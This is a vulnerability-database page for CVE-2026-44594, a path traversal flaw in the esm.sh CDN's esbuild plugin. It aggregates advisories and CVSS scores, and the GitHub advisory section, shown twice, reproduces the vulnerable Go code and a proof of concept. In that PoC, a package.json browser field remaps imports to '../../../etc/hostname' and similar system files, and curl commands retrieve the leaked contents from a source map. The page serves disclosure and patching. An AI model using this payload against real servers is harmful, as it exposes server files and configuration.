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CVE-2026-44594

esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files

7.5 HighFix available

esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.39%Up 0.3 points since May 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.5

esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files

esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Record
CVE-2026-44594
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2026-32911 7.5

esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Record
EUVD-2026-32911
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-rg65-45m7-hq57 7.5

esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files

Summary

A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Details

The vulnerable code is in the OnResolve callback of the esbuild plugin:

https://github.com/esm-dev/esm.sh/blob/main/server/build.go

The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.

// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}

// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
	if path, ok := pkgJson.Browser[modulePath]; ok {
		if path == "" {
			return esbuild.OnResolveResult{
				Path:      args.Path,
				Namespace: "browser-exclude",
			}, nil
		}
		if !isRelPathSpecifier(path) {
			externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
			if err != nil {
				return esbuild.OnResolveResult{}, err
			}
			return esbuild.OnResolveResult{
				Path:        externalPath,
				SideEffects: sideEffects,
				External:    true,
			}, nil
		}
		modulePath = path
	}
}


// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check

File contents appear in both the bundled JS output and the source map sourcesContent array.

Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).

Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.

PoC

The test package is published at https://www.npmjs.com/package/chess-sec-utils1

package.json:

{
  "name": "chess-sec-utils1",
  "version": "1.0.6",
  "main": "index.js",
  "type": "module",
  "browser": {
    "./d1.txt": "../../../../../../../../etc/hostname",
    "./d2.json": "../../../../../../../../etc/os-release",
    "./d3.json": "../../../../../../../../etc/environment"
  }
}

index.js:

import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }

npm publish
curl "https://<esm.sh-instance>/[email protected]"
curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map"

Server file contents in source map response:

{
  "sourcesContent": [
    "ideapad\n",
    "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
    "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
    "import d1 from \"./d1.txt\"..."
  ]
}

<img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" />

Impact

An attacker can read sensitive files from the server, including the…

Record
GHSA-rg65-45m7-hq57
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
NVD 7.5

esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Record
CVE-2026-44594
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSV 7.5

esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files

esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Record
CVE-2026-44594
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-rg65-45m7-hq57 7.5

esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files

Summary

A Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.

Details

The vulnerable code is in the OnResolve callback of the esbuild plugin:

https://github.com/esm-dev/esm.sh/blob/main/server/build.go

The plugin validates that resolved file paths stay within the package working directory. However, after this check, the browser field from package.json remaps the module path to an attacker-controlled value containing ../ sequences. No validation is performed after the remapping.

// Sandbox check passes for the original "./d1.txt" path
if !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {
    return esbuild.OnResolveResult{}, fmt.Errorf("could not resolve module %s", specifier)
}

// ... later, browser field remaps to attacker-controlled path:
if len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {
	if path, ok := pkgJson.Browser[modulePath]; ok {
		if path == "" {
			return esbuild.OnResolveResult{
				Path:      args.Path,
				Namespace: "browser-exclude",
			}, nil
		}
		if !isRelPathSpecifier(path) {
			externalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)
			if err != nil {
				return esbuild.OnResolveResult{}, err
			}
			return esbuild.OnResolveResult{
				Path:        externalPath,
				SideEffects: sideEffects,
				External:    true,
			}, nil
		}
		modulePath = path
	}
}


// path.Join collapses "../" sequences - escapes the package directory
filename = path.Join(ctx.wd, "node_modules", ctx.esmPath.PkgName, modulePath)
// No second sandbox check

File contents appear in both the bundled JS output and the source map sourcesContent array.

Readable files are constrained by esbuild's loader selection based on file extension: .json files must be valid JSON, .txt/.html/.md are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The config.json of esm.sh is fully readable (valid JSON with .json extension).

Non-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.

PoC

The test package is published at https://www.npmjs.com/package/chess-sec-utils1

package.json:

{
  "name": "chess-sec-utils1",
  "version": "1.0.6",
  "main": "index.js",
  "type": "module",
  "browser": {
    "./d1.txt": "../../../../../../../../etc/hostname",
    "./d2.json": "../../../../../../../../etc/os-release",
    "./d3.json": "../../../../../../../../etc/environment"
  }
}

index.js:

import d1 from "./d1.txt"
import d2 from "./d2.json"
import d3 from "./d3.json"
export default { d1, d2, d3 }

npm publish
curl "https://<esm.sh-instance>/[email protected]"
curl "https://<esm.sh-instance>/[email protected]/es2022/chess-sec-utils1.mjs.map"

Server file contents in source map response:

{
  "sourcesContent": [
    "ideapad\n",
    "PRETTY_NAME=\"Ubuntu 22.04.5 LTS\"\nNAME=\"Ubuntu\"\nVERSION_ID=\"22.04\"\nVERSION=\"22.04.5 LTS (Jammy Jellyfish)\"\nVERSION_CODENAME=jammy\nID=ubuntu\nID_LIKE=debian\nHOME_URL=\"https://www.ubuntu.com/\"\nSUPPORT_URL=\"https://help.ubuntu.com/\"\nBUG_REPORT_URL=\"https://bugs.launchpad.net/ubuntu/\"\nPRIVACY_POLICY_URL=\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\"\nUBUNTU_CODENAME=jammy\n",
    "PATH=\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\"\n",
    "import d1 from \"./d1.txt\"..."
  ]
}

<img width="1720" height="796" alt="image" src="https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952" />

Impact

An attacker can read sensitive files from the server, including the…

Record
GHSA-rg65-45m7-hq57
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-22
Updated
2026-11-02
OSVGO-2026-5620 No score

esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files in github.com/esm-dev/esm.sh

esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files in github.com/esm-dev/esm.sh

Record
GO-2026-5620
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/esm-dev/esm.sh
Go
 before 0.0.0-20250616164159-0593516c4cfa
0.0.0-20250616164159-0593516c4cfa
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-44594 is a high vulnerability (CVSS 7.5) in Esm-dev Esm.sh, published May 12, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 32nd percentile. Fixed in github.com/esm-dev/esm.sh 0.0.0-20250616164159-0593516c4cfa.

References

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